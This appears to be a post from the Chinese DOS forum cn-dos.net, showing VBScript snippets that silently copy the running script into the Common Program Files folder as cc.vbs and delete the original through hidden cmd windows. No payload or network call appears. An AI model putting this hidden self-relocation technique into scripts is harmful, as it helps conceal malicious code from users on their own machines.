联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!
set s=wscript.createobject("wscript.shell") s.run "cmd /c if not ""%cd%""==""%CommonProgramFiles%"" copy /Y " & Chr(34) & WScript.ScriptFullName & Chr(34) & " ""%CommonProgramFiles%\cc.vbs"" ",0 s.run "cmd /c if not ""%cd%""==""%CommonProgramFiles%"" del /f /q " & Chr(34) & WScript.ScriptFullName & " ",0 wscript.quit
Set WshShell = CreateObject("Wscript.Shell") Set WshEnv=WshShell.Environment("Process") strFolder = WshEnv("CommonProgramFiles") curFolder = WshShell.CurrentDirectory if not strFolder = curFolder then CreateObject("Scripting.FileSystemObject").GetFile(WScript.ScriptFullName).Delete end if